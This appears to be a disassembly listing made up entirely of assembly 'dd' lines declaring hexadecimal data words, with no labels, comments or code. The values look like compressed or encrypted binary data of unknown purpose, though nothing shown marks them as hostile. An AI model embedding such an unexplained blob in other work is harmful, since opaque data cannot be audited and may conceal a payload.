dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h
dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h
dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h
dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h
dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h
dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh
dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h
dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h
dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
dd 0B4B80A62h, 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh
dd 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h
dd 8D985EE6h, 18890235h, 5808050Bh, 810972C0h, 0DB033Fh
dd 8F8B9B1Ch
dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
dd 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h
dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h
dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh
dd 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h
dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh
dd 6E407980h, 1081322h, 88191D90h, 1E101D02h, 3E071E04h
dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h
dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh
dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
dd 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h
dd 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh
dd 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h
dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h
dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h
dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh
dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh
dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh
dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
dd 535E3Ah, 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh
dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch
dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h
dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h
dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh
dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h
dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h
dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh
dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh
dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h
dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h
dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h
dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh
dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh
dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh
dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h
dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh
dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh
dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh
dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh
dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h
dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h
dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h
dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h
dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h
dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh
dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h
dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
dd 1100B26h, 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh
dd 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh
dd 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h, 0BEE85C10h
dd 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h, 0EB00883Ch
dd 5C61976h, 2601E7A0h
dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h, 156719C8h
dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch
dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
dd 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah
dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h
dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h
dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h
dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h, 1643C394h
dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h
dd 0CAEE65h, 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh
dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h
dd 8D8263BCh, 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h
dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h
dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h
dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh
dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h
dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h
dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h
dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h
dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah
dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh
dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh
dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h
dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh
dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah
dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch
dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h
dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h
dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh
dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh
dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h
dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h
dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h
dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh
dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
dd 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h
dd 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh
dd 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h, 0E2F4297Eh
dd 0F44D6200h, 17B11E9Ch
dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h
dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h
dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h
dd 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h
dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
dd 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h
dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh
dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch, 91342338h
dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h
dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
dd 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h
dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h
dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
dd 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh
dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h
dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
dd 422ABE3h, 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h
dd 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h
dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h
dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h
dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh
dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h
dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h
dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h
dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h
dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h
dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh
dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch
dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h
dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h
dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h
dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h
dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h
dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h
dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h
dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h
dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
